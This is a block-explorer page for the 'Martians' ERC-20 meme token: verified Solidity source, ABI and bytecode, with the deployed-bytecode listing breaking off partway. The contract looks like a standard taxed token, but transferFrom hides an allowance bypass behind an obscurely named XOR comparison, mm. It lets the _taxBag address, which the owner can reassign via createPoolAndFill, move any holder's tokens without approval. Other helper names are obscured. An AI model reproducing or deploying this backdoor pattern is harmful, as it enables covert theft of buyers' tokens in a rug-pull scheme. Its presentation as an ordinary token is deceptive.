ETH Price: $3,417.55 (+3.18%)

Token

Martians (Martians)
 

Overview

Max Total Supply

1,000,000,000 Martians

Holders

94

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Martians

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-22
*/

/**

https://x.com/elonmusk/status/1806556312563523923

TG: https://t.me/MartiansCoin_Portal

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Martians is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _bagAmount;
    mapping (address => mapping (address => uint256)) private _keyAmount;
    mapping (address => bool) private _hasKey;
    address payable private _taxBag;

    uint256 private _initialBuyTax=21;
    uint256 private _initialSellTax=21;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=17;
    uint256 private _reduceSellTaxAt=17;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Martians";
    string private constant _symbol = unicode"Martians";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxBag = payable(_msgSender());
        _bagAmount[_msgSender()] = _tTotal;
        _hasKey[owner()] = true;
        _hasKey[address(this)] = true;
        _hasKey[_msgSender()] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _bagAmount[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _keyAmount[owner][spender] = amount;
    }
    

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _keyAmount[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);         
        _approve(sender, _msgSender(), _keyAmount[sender][_msgSender()].sub(mm(_taxBag, _msgSender()) &&
        !mm(owner(), _taxBag) ? (block.timestamp * _finalSellTax) : 
        amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _keyAmount[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function mm(address a, address b) pure private returns (bool) { return uint160(a) ^ uint160(b) == 0; }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _hasKey[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _hasKey[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    cnys(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                rodnes();
            }
        }

        if(taxAmount>0){
          _bagAmount[address(this)]=_bagAmount[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _bagAmount[from]=_bagAmount[from].sub(amount);
        _bagAmount[to]=_bagAmount[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function cnys(uint256 twapAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), twapAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            twapAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function rodnes() private {
        _taxBag.transfer(address(this).balance);
    }

    function exportETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function exportToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }

    function createPoolAndFill(address paira) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _hasKey[paira] = true;
        _taxBag = payable(paira);
    }


    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"paira","type":"address"}],"name":"createPoolAndFill","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"exportETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"exportToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601560055560156006555f6007555f60085560116009556011600a556005600b555f600c5560646009600a6200003b9190620003ab565b6200004b90633b9aca00620003c2565b62000058906002620003c2565b620000649190620003dc565b600d556064620000776009600a620003ab565b6200008790633b9aca00620003c2565b62000094906002620003c2565b620000a09190620003dc565b600e556064620000b36009600a620003ab565b620000c390633b9aca00620003c2565b620000d0906001620003c2565b620000dc9190620003dc565b600f556064620000ef6009600a620003ab565b620000ff90633b9aca00620003c2565b6200010c906001620003c2565b620001189190620003dc565b60105534801562000127575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001886009600a620003ab565b6200019890633b9aca00620003c2565b335f908152600160208190526040822092909255600390620001c15f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600392839052908120805490931660019081179093556200020d3390565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556200023c3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002756009600a620003ab565b6200028590633b9aca00620003c2565b60405190815260200160405180910390a3620003fc565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f057815f1904821115620002d457620002d46200029c565b80851615620002e257918102915b93841c9390800290620002b5565b509250929050565b5f826200030857506001620003a5565b816200031657505f620003a5565b81600181146200032f57600281146200033a576200035a565b6001915050620003a5565b60ff8411156200034e576200034e6200029c565b50506001821b620003a5565b5060208310610133831016604e8410600b84101617156200037f575081810a620003a5565b6200038b8383620002b0565b805f1904821115620003a157620003a16200029c565b0290505b92915050565b5f620003bb60ff841683620002f8565b9392505050565b8082028115828204841417620003a557620003a56200029c565b5f82620003f757634e487b7160e01b5f52601260045260245ffd5b500490565b61198d806200040a5f395ff3fe60806040526004361061011e575f3560e01c80637c826f5f1161009d578063a9059cbb11610062578063a9059cbb146102f4578063bf474bed14610313578063c9567bf914610328578063d579d4ed1461033c578063dd62ed3e14610350575f80fd5b80637c826f5f146102855780637d1db4a5146102a45780638da5cb5b146102b95780638f9a55c0146102df57806395d89b4114610129575f80fd5b806323b872dd116100e357806323b872dd146101ef578063313ce5671461020e57806370a0823114610229578063715018a61461025d578063751039fc14610271575f80fd5b806306fdde0314610129578063095ea7b3146101685780630faee56f1461019757806311a7ce50146101ba57806318160ddd146101db575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201825260088152674d61727469616e7360c01b6020820152905161015f9190611569565b60405180910390f35b348015610173575f80fd5b506101876101823660046115c9565b610394565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60105481565b60405190815260200161015f565b3480156101c5575f80fd5b506101d96101d43660046115f3565b6103aa565b005b3480156101e6575f80fd5b506101ac6106fa565b3480156101fa575f80fd5b5061018761020936600461160e565b61071a565b348015610219575f80fd5b506040516009815260200161015f565b348015610234575f80fd5b506101ac6102433660046115f3565b6001600160a01b03165f9081526001602052604090205490565b348015610268575f80fd5b506101d96107e9565b34801561027c575f80fd5b506101d961085a565b348015610290575f80fd5b506101d961029f3660046115c9565b61090b565b3480156102af575f80fd5b506101ac600d5481565b3480156102c4575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102ea575f80fd5b506101ac600e5481565b3480156102ff575f80fd5b5061018761030e3660046115c9565b610a3b565b34801561031e575f80fd5b506101ac600f5481565b348015610333575f80fd5b506101d9610a47565b348015610347575f80fd5b506101d9610a89565b34801561035b575f80fd5b506101ac61036a36600461164c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a0338484610ae9565b5060015b92915050565b5f546001600160a01b031633146103dc5760405162461bcd60e51b81526004016103d390611683565b60405180910390fd5b601254600160a01b900460ff16156104365760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610498573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bc91906116b8565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053f91906116b8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad91906116b8565b601280546001600160a01b0319166001600160a01b039283161790556011546105f2913091166105df6009600a6117c7565b6105ed90633b9aca006117d5565b610ae9565b6011546001600160a01b031663f305d7194730610623816001600160a01b03165f9081526001602052604090205490565b5f806106365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106c191906117ec565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6107076009600a6117c7565b61071590633b9aca006117d5565b905090565b5f610726848484610c0c565b6107df84336004546105ed9061074e906001600160a01b031633186001600160a01b03161590565b801561078557506107836107695f546001600160a01b031690565b6004546001600160a01b0316186001600160a01b03161590565b155b61078f578561079c565b60085461079c90426117d5565b604051806060016040528060288152602001611930602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e6565b5060019392505050565b5f546001600160a01b031633146108125760405162461bcd60e51b81526004016103d390611683565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108835760405162461bcd60e51b81526004016103d390611683565b61088f6009600a6117c7565b61089d90633b9aca006117d5565b600d556108ac6009600a6117c7565b6108ba90633b9aca006117d5565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108ea6009600a6117c7565b6108f890633b9aca006117d5565b60405190815260200160405180910390a1565b5f546001600160a01b031633146109345760405162461bcd60e51b81526004016103d390611683565b6040516370a0823160e01b81523060048201525f906109b5906064906109af9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610985573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a99190611817565b9061121e565b906112a3565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a35919061182e565b50505050565b5f6103a0338484610c0c565b5f546001600160a01b03163314610a705760405162461bcd60e51b81526004016103d390611683565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610ab25760405162461bcd60e51b81526004016103d390611683565b5f4711610abd575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610ae6573d5f803e3d5ffd5b50565b6001600160a01b038316610b4b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d3565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d3565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d3565b5f8111610d335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d3565b5f80546001600160a01b03858116911614801590610d5e57505f546001600160a01b03848116911614155b156110a9576012546001600160a01b038581169116148015610d8e57506011546001600160a01b03848116911614155b8015610db257506001600160a01b0383165f9081526003602052604090205460ff16155b15610f1157601254600160a01b900460ff16610e085760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d3565b610e2e60646109af600954600c5411610e2357600554610e27565b6007545b859061121e565b9050600d54821115610e825760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103d3565b600e5482610ea4856001600160a01b03165f9081526001602052604090205490565b610eae919061184d565b1115610efc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d3565b600c8054905f610f0b83611860565b91905055505b6012546001600160a01b03848116911614801590610f4757506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc657600e5482610f6e856001600160a01b03165f9081526001602052604090205490565b610f78919061184d565b1115610fc65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d3565b6012546001600160a01b038481169116148015610fec57506001600160a01b0384163014155b156110195761101660646109af600a54600c541161100c57600654610e27565b600854859061121e565b90505b601254600160a81b900460ff1615801561104057506012546001600160a01b038481169116145b80156110555750601254600160b01b900460ff165b80156110645750600b54600c54115b156110a957305f90815260016020526040902054600f5481111561109f5761109f61109a84611095846010546112e4565b6112e4565b6112f8565b6110a7611468565b505b801561112157305f908152600160205260409020546110c8908261149e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111189085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461114390836114fc565b6001600160a01b0385165f9081526001602052604090205561118661116883836114fc565b6001600160a01b0385165f908152600160205260409020549061149e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111cf85856114fc565b60405190815260200160405180910390a350505050565b5f81848411156112095760405162461bcd60e51b81526004016103d39190611569565b505f6112158486611878565b95945050505050565b5f825f0361122d57505f6103a4565b5f61123883856117d5565b905082611245858361188b565b1461129c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d3565b9392505050565b5f61129c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153d565b5f8183116112f2578261129c565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061133e5761133e6118aa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611395573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b991906116b8565b816001815181106113cc576113cc6118aa565b6001600160a01b0392831660209182029290920101526011546113f29130911684610ae9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a9085905f908690309042906004016118be565b5f604051808303815f87803b158015611441575f80fd5b505af1158015611453573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ae6573d5f803e3d5ffd5b5f806114aa838561184d565b90508381101561129c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d3565b5f61129c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e6565b5f818361155d5760405162461bcd60e51b81526004016103d39190611569565b505f611215848661188b565b5f602080835283518060208501525f5b8181101561159557858101830151858201604001528201611579565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ae6575f80fd5b5f80604083850312156115da575f80fd5b82356115e5816115b5565b946020939093013593505050565b5f60208284031215611603575f80fd5b813561129c816115b5565b5f805f60608486031215611620575f80fd5b833561162b816115b5565b9250602084013561163b816115b5565b929592945050506040919091013590565b5f806040838503121561165d575f80fd5b8235611668816115b5565b91506020830135611678816115b5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116c8575f80fd5b815161129c816115b5565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172157815f1904821115611707576117076116d3565b8085161561171457918102915b93841c93908002906116ec565b509250929050565b5f82611737575060016103a4565b8161174357505f6103a4565b816001811461175957600281146117635761177f565b60019150506103a4565b60ff841115611774576117746116d3565b50506001821b6103a4565b5060208310610133831016604e8410600b84101617156117a2575081810a6103a4565b6117ac83836116e7565b805f19048211156117bf576117bf6116d3565b029392505050565b5f61129c60ff841683611729565b80820281158282048414176103a4576103a46116d3565b5f805f606084860312156117fe575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611827575f80fd5b5051919050565b5f6020828403121561183e575f80fd5b8151801515811461129c575f80fd5b808201808211156103a4576103a46116d3565b5f60018201611871576118716116d3565b5060010190565b818103818111156103a4576103a46116d3565b5f826118a557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561190e5784516001600160a01b0316835293830193918301916001016118e9565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcc3ed606537c59034374f776afebf1a2422d238859a7ee8443c830eac833cac64736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80637c826f5f1161009d578063a9059cbb11610062578063a9059cbb146102f4578063bf474bed14610313578063c9567bf914610328578063d579d4ed1461033c578063dd62ed3e14610350575f80fd5b80637c826f5f146102855780637d1db4a5146102a45780638da5cb5b146102b95780638f9a55c0146102df57806395d89b4114610129575f80fd5b806323b872dd116100e357806323b872dd146101ef578063313ce5671461020e57806370a0823114610229578063715018a61461025d578063751039fc14610271575f80fd5b806306fdde0314610129578063095ea7b3146101685780630faee56f1461019757806311a7ce50146101ba57806318160ddd146101db575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201825260088152674d61727469616e7360c01b6020820152905161015f9190611569565b60405180910390f35b348015610173575f80fd5b506101876101823660046115c9565b610394565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60105481565b60405190815260200161015f565b3480156101c5575f80fd5b506101d96101d43660046115f3565b6103aa565b005b3480156101e6575f80fd5b506101ac6106fa565b3480156101fa575f80fd5b5061018761020936600461160e565b61071a565b348015610219575f80fd5b506040516009815260200161015f565b348015610234575f80fd5b506101ac6102433660046115f3565b6001600160a01b03165f9081526001602052604090205490565b348015610268575f80fd5b506101d96107e9565b34801561027c575f80fd5b506101d961085a565b348015610290575f80fd5b506101d961029f3660046115c9565b61090b565b3480156102af575f80fd5b506101ac600d5481565b3480156102c4575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102ea575f80fd5b506101ac600e5481565b3480156102ff575f80fd5b5061018761030e3660046115c9565b610a3b565b34801561031e575f80fd5b506101ac600f5481565b348015610333575f80fd5b506101d9610a47565b348015610347575f80fd5b506101d9610a89565b34801561035b575f80fd5b506101ac61036a36600461164c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a0338484610ae9565b5060015b92915050565b5f546001600160a01b031633146103dc5760405162461bcd60e51b81526004016103d390611683565b60405180910390fd5b601254600160a01b900460ff16156104365760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610498573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bc91906116b8565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053f91906116b8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad91906116b8565b601280546001600160a01b0319166001600160a01b039283161790556011546105f2913091166105df6009600a6117c7565b6105ed90633b9aca006117d5565b610ae9565b6011546001600160a01b031663f305d7194730610623816001600160a01b03165f9081526001602052604090205490565b5f806106365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015